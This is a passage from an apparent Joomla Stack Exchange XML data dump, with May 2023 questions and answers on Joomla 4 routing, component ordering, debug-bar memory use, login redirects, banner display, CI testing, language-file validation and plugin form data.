Joomla\CMS\Uri\Uri;&#xA;&#xA;$full_link = $Uri::base() . &amp;quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=&amp;quot; . $article_id . &amp;quot;&amp;amp;catid=&amp;quot; . $item_catid . &amp;quot;&amp;amp;lang=fr&amp;quot;; &#xA;&#xA;echo $full_link;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Everything is possible of course, but because of the basic concept of menu items in relations with category and article items, with the many-to-one relation, I do not see the easy way of querying menu items and choosing the right one from the many possible to create the right menu &lt;code&gt;'Itemid'&lt;/code&gt; always for this URI. But maybe if you run on this question more you will find one solution on this part of the question too. I do not see that it worth the time though. I would approch this part of the question from another angle...&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-05-10T20:49:15.913" LastActivityDate="2023-05-10T20:49:15.913" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33041" PostTypeId="1" AcceptedAnswerId="33047" CreationDate="2023-05-11T08:00:02.657" Score="1" ViewCount="65" Body="&lt;p&gt;&lt;strong&gt;Initial situation:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have implemented the J4 ordering function in different views of a component. It works fine so far, although the component was not really rewritten for J4. .&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I change the order of the main items, it correctly changes the ordering values in the column &amp;quot;ordering&amp;quot;, but at the same time it deletes all connected custom fields (not the Joomla Custom fields, but its own kind of fields of the component).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;My thoughts:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I figured out, that at the same time of storing the new ordering, a MySQL delete-query is running which is responsible for deleting all the custom fields. When I comment this query out, ordering works without losing the custom fields, but the custom fields are no longer stored at Item Edit.&lt;/p&gt;&#xA;&lt;p&gt;I guess the logic is: when saving the Item in Edit-View, all old custom fields are deleted and saved new into the database, if any input for them is given. So they are not updated but completely deleted and newly stored.&#xA;And because there are no field inputs given when ordering in the Items view, only the process of deleting is executed. Is that possible?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Solution?&lt;/strong&gt;&#xA;Does it make sense to do a work-around by surrounding the Delete-Query with an if-condition, only to work when in Item-Edit-View? If yes, how? What would be the condition statement to make sure it's only in the Edit-Viewm?&lt;/p&gt;&#xA;&lt;p&gt;The Class with the Delete-Query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class JCTableFieldInItem extends JTable&#xA;{&#xA;    public function delete($pk = null, $fields_id = false, $extension = false)&#xA;    {     &#xA;        $query = &amp;quot;DELETE a.*&#xA;                  FROM #__content_fields AS a &#xA;                  INNER JOIN #__cddir_fields AS b ON a.fields_id = b.id &#xA;                  WHERE a.content_id=&amp;quot;.$pk.&amp;quot; AND b.extension='&amp;quot; . $extension . &amp;quot;'&amp;quot;;&#xA;        $this-&amp;gt;_db-&amp;gt;setQuery($query);&#xA;&#xA;        // Check for a database error.&#xA;        $this-&amp;gt;_db-&amp;gt;execute();&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17022" LastEditorUserId="12352" LastEditDate="2023-05-12T17:53:58.520" LastActivityDate="2023-05-14T16:26:25.887" Title="Ordering items function deletes connected field-items of another table" Tags="|joomla-4.x|custom-field|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33042" PostTypeId="2" ParentId="33037" CreationDate="2023-05-11T13:56:12.573" Score="0" Body="&lt;p&gt;I'll post what I did with 2 remarks:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I am in an overload, there was already &lt;code&gt;use Joomla\CMS\Factory;&lt;/code&gt; and rather &lt;code&gt;use Joomla\Component\Content\Site\Helper\RouteHelper;&lt;/code&gt; than &lt;code&gt;use Joomla\CMS\Helper\RouteHelper;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I didn't put the new router because I still have some code that it will become obsolete in a few years; is it really superior?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;pre&gt;&lt;code&gt;$rhelper = new RouteHelper;&#xA;$myroute = $rhelper-&amp;gt;getRoute($article_id, 'com_content.article', '', &#xA;$language = 'en', $catid = $item_catid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;my code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$field_value = json_decode($this-&amp;gt;item-&amp;gt;jcfields[40]-&amp;gt;rawvalue);&#xA;$article_id = $field_value-&amp;gt;row0-&amp;gt;field42;  &#xA;$app = Factory::getApplication();&#xA;$factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;$table = $factory-&amp;gt;createTable('Article', 'Table');    &#xA;$table-&amp;gt;load($article_id);&#xA;$item_catid = $table-&amp;gt;catid;&#xA;if ($item_catid == 16) { &#xA;    $item_id = &amp;quot;156&amp;quot;;&#xA;} elseif ($item_catid == 19) { &#xA;    $item_id = &amp;quot;157&amp;quot;;   &#xA;} elseif ($item_catid ==20) { &#xA;    $item_id = &amp;quot;158&amp;quot;; &#xA;} elseif ($item_catid == 21) {&#xA;    $item_id = &amp;quot;159&amp;quot;;&#xA;}       &#xA;?&amp;gt;&#xA;&amp;lt;a href=&amp;quot;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=&amp;lt;?php echo $article_id;?&amp;gt;&amp;amp;catid=&amp;lt;?php echo $item_catid;?&amp;gt;&amp;amp;Itemid=&amp;lt;?php echo $item_id;?&amp;gt;&amp;amp;lang=fr&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[40]-&amp;gt;value; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14630" LastEditorUserId="14630" LastEditDate="2023-05-12T12:40:17.077" LastActivityDate="2023-05-12T12:40:17.077" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33046" PostTypeId="1" CreationDate="2023-05-13T19:23:40.957" Score="2" ViewCount="71" Body="&lt;p&gt;I'm having a bizarre problem on a testing server. The environment is Debian 12 (pre release) with PHP 8.2.5. Joomla 4.3.1. With debug enabled, huge amounts of session data are generated. This is shown by running Payage test component, which makes ajax calls every six seconds. After about a minute 512 MB is exhausted.&lt;/p&gt;&#xA;&lt;p&gt;A variety of error messages are possible, but all appear connected with session data and php debug bar.&lt;/p&gt;&#xA;&lt;p&gt;The same software running on an apparently identical server (Debian 12, PHP 8.2.5) runs happily with 128 MB.&lt;/p&gt;&#xA;&lt;p&gt;How might I resolve this? Is there any documentation for php debug bar in Joomla? Can it be turned off without losing all the debug functionality?&lt;/p&gt;&#xA;&lt;p&gt;Is the fact that PHPDEBUGBAR_STACK_DATA never shows anything connected?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastEditorUserId="15057" LastEditDate="2023-05-14T21:04:13.020" LastActivityDate="2023-05-14T21:04:13.020" Title="Memory overflow connected with php debug bar" Tags="|debug|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33047" PostTypeId="2" ParentId="33041" CreationDate="2023-05-14T16:26:25.887" Score="1" Body="&lt;p&gt;Did you develop the ordering functionality along the lines of the MVC Component Tutorial &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Ordering&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding Ordering&lt;/a&gt; step? (The solution for Joomla 4 is very similar, but Joomla components use the draggable javascript library instead of the sortable one.)&lt;/p&gt;&#xA;&lt;p&gt;If so when you change the order the javascript should send an Ajax message to the service with the &lt;code&gt;task&lt;/code&gt; variable set to something like &lt;code&gt;&amp;lt;component name&amp;gt;.saveOrderAjax&lt;/code&gt; (really what you set as the &lt;code&gt;data-url&lt;/code&gt; attribute of the &lt;code&gt;&amp;lt;tbody&amp;gt;&lt;/code&gt; element).&lt;/p&gt;&#xA;&lt;p&gt;So in your delete method you could try checking if it's that Ajax request, and if so then don't execute the SQL delete operation. Eg&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = Factory::getApplication();&#xA;$task = $app-&amp;gt;input-&amp;gt;get('task');&#xA;if (!str_ends_with($task, 'saveOrderAjax')) {&#xA;    // execute delete query&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-05-14T16:26:25.887" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33049" PostTypeId="1" CreationDate="2023-05-15T10:39:34.317" Score="2" ViewCount="210" Body="&lt;p&gt;I am using a non-published login-menu-item. Calling this item, displays the login-module.&lt;/p&gt;&#xA;&lt;p&gt;After login, I want to redirect to the homepage, but instead it is displaying the introducing - and featured articles, profile data are shown.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I changed settings in login-menu-item:&lt;br&gt;&#xA;Choose Login Redirect Type: Menu Item or internal URL - nothing changes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I adapted the settings of login-module.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I tried a different browser to avoid cache-problems.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I changed the template.&lt;br&gt;&#xA;&amp;quot;System - Privacy Consent&amp;quot; is disabled.&lt;br&gt;&#xA;Same result.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It cannot be &lt;em&gt;that&lt;/em&gt; complicated, right?&lt;/p&gt;&#xA;&lt;p&gt;What strikes me: If I choose the home-menu-item (directly after being logged in) no changes happen. The profile data are still being displayed (the profile-page is recalled). I have to click another menu-item first and then I can come back, choosing home-menu-item, and featured articles of homepage etc. are displayed.&lt;/p&gt;&#xA;&lt;p&gt;Joomla: 4.3.1&#xA;PHP: 8.0.20&lt;/p&gt;&#xA;" OwnerUserId="7830" LastEditorUserId="7830" LastEditDate="2023-05-16T06:33:29.640" LastActivityDate="2023-05-16T06:33:29.640" Title="Joomla 4: Redirect to a wished page after front-end login does not work" Tags="|joomla-4.x|login|redirect|front-end|profile|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33050" PostTypeId="1" CreationDate="2023-05-15T15:18:26.320" Score="0" ViewCount="46" Body="&lt;p&gt;I have a website running under Joomla 3.10.11, which displays various banner modules on all post category pages.&lt;/p&gt;&#xA;&lt;p&gt;The goal is to NOT show any banner when the user enters the article page. Is it possible without changing any layouts?&lt;/p&gt;&#xA;" OwnerUserId="15738" LastEditorUserId="12352" LastEditDate="2023-05-16T00:21:48.923" LastActivityDate="2023-05-17T08:04:46.093" Title="Is there any way to hide banners in article but keep them in category list?" Tags="|joomla-3.x|com-banners|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33051" PostTypeId="2" ParentId="33020" CreationDate="2023-05-15T19:10:06.673" Score="1" Body="&lt;p&gt;It's in the menuitem params, as &lt;code&gt;'aliasoptions'&lt;/code&gt;. This holds the itemid of the menuitem which the alias menuitem points to. So if you have your alias menuitem as &lt;code&gt;$menuItem&lt;/code&gt; then do&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$itemid = $menuItem-&amp;gt;getParams()-&amp;gt;get('aliasoptions');&#xA;$url = Route::_(&amp;quot;index.php?Itemid={$itemid}&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm pretty sure this isn't in the joomla docs, I just found it by inspecting the menuitem object in a debugger. It should really be documented in the &lt;a href=&quot;https://docs.joomla.org/Menu_and_Menuitems_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Menu and Menuitems API Guide&lt;/a&gt; but the number of such param values that you'd need to list is rather offputting.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-05-15T19:10:06.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33052" PostTypeId="2" ParentId="33050" CreationDate="2023-05-16T09:54:42.567" Score="2" Body="&lt;p&gt;&lt;strong&gt;Easy ways css ways&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Put banner class like .showbanner-oncat&#xA;Then in menu category add css&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.showbanner-oncat{display:block}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in menu default handle article add css&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.showbanner-oncat{display:none}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;custom ways&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Override the mod banner view&#xA;Then do&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    if ($context === 'com_content.article'}{&#xA;&#xA;       $wa-&amp;gt;addCssDeclaration('.showbanner-oncat{display:none}');&#xA;    }&#xA;    else{&#xA;       $wa-&amp;gt;addCssDeclaration('.showbanner-oncat{display:block}');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But these are still impact the peformance, maybe a little ms and the banner js still load if display none set up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;joomla ways&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can make config association menu to display the module only on some menu&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;You are full control&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You need do custom model to cut the peformance loss&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($context === 'com.content.category`){&#xA; do dbo and pass the view.&#xA;}&#xA;else {return}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17057" LastEditorUserId="17057" LastEditDate="2023-05-17T08:04:46.093" LastActivityDate="2023-05-17T08:04:46.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33054" PostTypeId="1" CreationDate="2023-05-17T09:13:43.647" Score="1" ViewCount="36" Body="&lt;p&gt;I am trying to set up a CI/CD pipeline for a Joomla project and would like to include tests for my Joomla components. I am looking for the location of the Joomla tests and how I can integrate them into my pipeline.&lt;/p&gt;&#xA;&lt;p&gt;Here is the current configuration of my .gitlab-ci.yml file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;stages:&#xA;  - build&#xA;  - test&#xA;  - deploy&#xA;&#xA;build:&#xA;  stage: build&#xA;  image: docker:20.10.7&#xA;  services:&#xA;    - docker:20.10.7-dind&#xA;  script:&#xA;    - docker pull joomla:4-php8.0-apache&#xA;&#xA;test:&#xA;  stage: test&#xA;  script:&#xA;    - docker run --rm my-joomla4-image /bin/bash -c &amp;quot;php /path/to/joomla-tests/component/ComponentInitializationTest.php&amp;quot;&#xA;&#xA;deploy:&#xA;  stage: deploy&#xA;  script:&#xA;    - // commands to deploy the Joomla4 site to your desired environment&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In particular, I would like to know:&lt;/p&gt;&#xA;&lt;p&gt;Where can I find the Joomla tests?&#xA;What is the directory structure for the tests?&#xA;How can I integrate the Joomla tests into the test stage of my CI/CD pipeline?&#xA;Are there any additional configurations or dependencies required to run the Joomla tests?&#xA;Any guidance on how to locate and include the Joomla tests in my pipeline would be greatly appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2023-05-17T09:13:43.647" Title="Where are the Joomla tests located, and how can I include them in my CI/CD pipeline?" Tags="|php|joomla-4.x|docker|unit-testing|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33055" PostTypeId="1" AcceptedAnswerId="33062" CreationDate="2023-05-17T10:46:20.973" Score="1" ViewCount="106" Body="&lt;p&gt;Is there a specific format to Joomla's language ini-files? We would like to validate them, but it's not obvious which rules apply.&lt;/p&gt;&#xA;&lt;p&gt;Should &lt;code&gt;parse_ini_file&lt;/code&gt; work?&lt;/p&gt;&#xA;&lt;p&gt;One example line that's valid? Or is it?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JOOMLA! DEFAULT IMAGES=Жуумла! үндсэн зурагнууд&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2023-05-17T10:51:31.333" LastActivityDate="2023-05-22T18:59:01.763" Title="How to validate Joomla translation ini-files?" Tags="|translation|validation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33056" PostTypeId="2" ParentId="33055" CreationDate="2023-05-17T13:20:10.457" Score="1" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if (!isset($argv[1])) {&#xA;    return;&#xA;}&#xA;&#xA;$res = parse_ini_file($argv[1]);&#xA;if ($res === false) {&#xA;    return 1;&#xA;}&#xA;$content = file_get_contents($argv[1]);&#xA;$matches = [];&#xA;preg_match_all('/^[A-Z_0-9]*\s?=.*$/m', $content, $matches);&#xA;$file = file($argv[1]);&#xA;foreach ($res as $key =&amp;gt; $val) {&#xA;    $found = false;&#xA;    foreach ($matches[0] as $i =&amp;gt; $match) {&#xA;        if (strpos($match, $key) !== false) {&#xA;            $found = true;&#xA;            break;&#xA;        }&#xA;    }&#xA;    if (!$found) {&#xA;        printf(&amp;quot;Did not find %s in regexp\n&amp;quot;, $key);&#xA;    } else {&#xA;        unset($matches[0][$i]);&#xA;    }&#xA;}&#xA;if ($matches[0]) {&#xA;    printf(&amp;quot;Some matches were not found in in parse_ini_file variable - are there duplicates?\n&amp;quot;);&#xA;    var_dump($matches[0]);&#xA;}&#xA;exit(count($res) === count($matches[0]) ? 0 : 1);&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-05-17T13:20:10.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33058" PostTypeId="2" ParentId="33023" CreationDate="2023-05-17T18:42:13.227" Score="2" Body="&lt;p&gt;You're actually doing it as intended within Joomla. Here's a bit of background to explain why you're right, and for the sake of others who may be interested.&lt;/p&gt;&#xA;&lt;p&gt;Overall the Joomla Form &lt;a href=&quot;https://docs.joomla.org/Basic_form_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basic API guide&lt;/a&gt; tries to explain how Joomla forms work. The first part of that page treats the subject at a fairly low level, and the second part considers how forms are handled within the Joomla MVC paradigm, which is what we have to deal with in practice.&lt;/p&gt;&#xA;&lt;p&gt;Forms are loaded in the Model class of the component by calling a library function &lt;code&gt;loadForm()&lt;/code&gt; and passing the filename of the XML file which contains the form.&lt;/p&gt;&#xA;&lt;p&gt;So when you're setting plugin parameters within Joomla administrator you're in the &lt;code&gt;com_plugins&lt;/code&gt; component, and its Model in administrator/components/com_plugins/src/Model/PluginModel.php will call &lt;code&gt;loadForm()&lt;/code&gt; and pass the filename of the XML file in administrator/components/com_plugins/forms/plugin.xml. If you have a look at that file you'll see the similarity with the standard plugin options shown on the right hand side of the plugin form.&lt;/p&gt;&#xA;&lt;p&gt;When you display a form on a web page sometimes you want to populate the form fields with data:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;if you are editing a database record, then you want to prefill the&#xA;fields with their current value in the database&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if the user has entered some data into the form and then submitted the&#xA;form, but the Joomla server code has found errors in the data, then&#xA;when you re-present the form you want to prefill the fields with what he/she previously entered, so that it can be more easily corrected.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Hence the &lt;code&gt;loadForm&lt;/code&gt; function has a parameter which specifies if prefill data should be loaded. If this is set to true then &lt;code&gt;loadForm&lt;/code&gt; will call a callback function &lt;code&gt;loadFormData&lt;/code&gt; which it will expect the component Model to provide. The &lt;code&gt;com_plugins&lt;/code&gt; provides this function: it checks if there's previously entered data on the form, and if not it loads the existing plugin fields from the database record. It doesn't matter that there are more fields in this data object which is built from the database than there are fields in the form XML – Joomla will just take the data items it needs. But notice that to do this seamlessly the &lt;code&gt;name&lt;/code&gt; of each field in the XML file matches the name of the equivalent database column.&lt;/p&gt;&#xA;&lt;p&gt;Once it has built the data object the &lt;code&gt;com_plugins&lt;/code&gt; function &lt;code&gt;loadFormData&lt;/code&gt; calls a library function &lt;code&gt;preprocessData&lt;/code&gt;, and it's this library function which triggers the &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentPrepareData&quot; rel=&quot;nofollow noreferrer&quot;&gt;'onContentPrepareData'&lt;/a&gt; event whose purpose is to allow plugins to make any desired modification to this data.&lt;/p&gt;&#xA;&lt;p&gt;The library &lt;code&gt;loadForm&lt;/code&gt; function then calls the component model's &lt;code&gt;preprocessForm&lt;/code&gt; function, and within PluginModel it gets your plugin's manifest XML file and injects the section of this file which is within the &lt;code&gt;&amp;lt;config&amp;gt;&lt;/code&gt; tags into the Form object (which was built from  administrator/components/com_plugins/forms/plugin.xml). The fields within the &lt;code&gt;&amp;lt;config&amp;gt;&lt;/code&gt; tags provide the options which are specific to that individual plugin, and these are stored as name-value pairs in a JSON string in the &lt;code&gt;params&lt;/code&gt; field of the database record. That's why you're right to have&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;config&amp;gt;&#xA;     &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        ...&#xA;            &amp;lt;field name=&amp;quot;provider&amp;quot; label=&amp;quot;Provider&amp;quot; type=&amp;quot;text&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as the data will get stored in the &lt;code&gt;params&lt;/code&gt; field as a string &lt;code&gt;{&amp;quot;provider&amp;quot;: &amp;quot;xxx&amp;quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The library &lt;code&gt;loadForm&lt;/code&gt; function then triggers the event &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentPrepareForm&quot; rel=&quot;nofollow noreferrer&quot;&gt;'onContentPrepareForm'&lt;/a&gt;, passing the Form instance and the data object, to allow plugins once again to modify data values (or the Form itself).&lt;/p&gt;&#xA;&lt;p&gt;It doesn't matter whether to choose to modify your data in 'onContentPrepareForm' or in 'onContentPrepareData'. Either way, you can set the data as you're doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data-&amp;gt;params['provider'] = 'xxxxxxxxxx';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next the data object is bound to the Form instance via a &lt;code&gt;bind()&lt;/code&gt; call. You can still modify data values after that, but it's a bit trickier, and you have to use the API methods described in the Form &lt;a href=&quot;https://docs.joomla.org/Advanced_form_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced API guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Finally, just a couple things to be aware of.&lt;/p&gt;&#xA;&lt;p&gt;If you're defining a plugin like this then the onContentPrepareForm and  onContentPrepareData functions are going to get called whenever &lt;em&gt;&lt;strong&gt;any&lt;/strong&gt;&lt;/em&gt; form is displayed by Joomla, back-end or front-end. So you should always check that it's the form you're interested in by doing&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($form-&amp;gt;getName() === 'com_plugins.plugin') {…}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and also that it's just your own plugin that you're affecting:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($data-&amp;gt;name === '&amp;lt;your plugin name&amp;gt;') {…}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also the &lt;code&gt;$data&lt;/code&gt; is held as a &lt;code&gt;Joomla\CMS\Object\CMSObject&lt;/code&gt; instance, and you should really check that it is indeed that type of object before you go accessing the properties. I guess there is the chance that com_plugins could change this in the future to be a &lt;code&gt;Joomla\Registry\Registry&lt;/code&gt; object, and then you'd need to change the getter and setter you use.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-05-17T18:42:13.227" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33059" PostTypeId="2" ParentId="31468" CreationDate="2023-05-19T04:13:57.667" Score="0" Body="&lt;p&gt;Yes.&#xA;Iam absolutely agree with u,&#xA;This the part of hijacking source.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('JPATH_BASE', __DIR__ . '/../../..');&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Its not use the namespace pattern to load joomla library..&lt;/p&gt;&#xA;&lt;p&gt;The constant is only prevent execution addional file from being a part of Joomla.&#xA;The benefits without that constant is additional file cannot load all class and function from Joomla.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;THE TWEAK&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Someone still can load all core Joomla if him required or include the structure folder of Joomla includes folder like ur example.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PREVENT THIS TWEAK&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A webmaster should know about secure environment in him folder structure.&#xA;Inteads of use a default structure folder come with installations. You should move all core to secure environment, random named the important folder or move outside the public_html&lt;/p&gt;&#xA;" OwnerUserId="17057" LastEditorUserId="17057" LastEditDate="2023-05-19T04:42:26.973" LastActivityDate="2023-05-19T04:42:26.973" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33060" PostTypeId="2" ParentId="33035" CreationDate="2023-05-19T06:15:55.350" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;One way:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$stripIntro = strip_tags( value, $item-&amp;gt;introtext ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::_('string.truncateComplex',$stripIntro, $params-&amp;gt;get('introtext_limit'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or another way:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$stripIntro = HTMLHelper::_('string.truncateComplex',$item-&amp;gt;introtext, $params-&amp;gt;get('introtext_limit'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then strip tags&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo strip_tags(value, $stripIntro);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17057" LastEditorUserId="12352" LastEditDate="2023-05-19T12:40:00.453" LastActivityDate="2023-05-19T12:40:00.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33061" PostTypeId="1" CreationDate="2023-05-19T11:30:37.577" Score="1" ViewCount="102" Body="&lt;p&gt;It works but it is not great.&#xA;It's about getting the fields of a subform to display the urls and other fields in a loop&lt;/p&gt;&#xA;&lt;p&gt;Today I have&#xA;PHP code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($this-&amp;gt;item-&amp;gt;jcfields[111]-&amp;gt;value)): ?&amp;gt;&#xA;&#xA;    &amp;lt;br /&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span&amp;gt;&amp;lt;i class=&amp;quot;fa fa-link fa-1x&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt; Pros des films :&amp;lt;/b&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        $field_value = json_decode($this-&amp;gt;item-&amp;gt;jcfields[111]-&amp;gt;rawvalue);&#xA;        $app = Factory::getApplication();&#xA;        $factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;        $lang=&amp;quot;fr&amp;quot;;&#xA;        $item_id=&amp;quot;159&amp;quot;;&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;?php foreach ($field_value as $value): ?&amp;gt;&#xA;        &amp;lt;?php&#xA;            $article_id = $value-&amp;gt;field110;&#xA;            $table = $factory-&amp;gt;createTable('Article', 'Table');&#xA;            $table-&amp;gt;load($article_id);&#xA;            $item_catid = $table-&amp;gt;catid;&#xA;            echo HTMLHelper::link(&#xA;                Route::_(&amp;quot;/index.php?option=com_content&amp;amp;view=article&amp;amp;id={$article_id}&amp;amp;catid={$item_catid}&amp;amp;Itemid={$item_id}&amp;amp;lang={$lang}&amp;quot;),&#xA;                $table-&amp;gt;alias&#xA;            );    &#xA;         ?&amp;gt;&#xA;     &amp;lt;?php endforeach ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endif ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The rendering is :&#xA;Pros des films : kamea-meah meteore-films​&lt;/p&gt;&#xA;&lt;p&gt;Le code HTML est 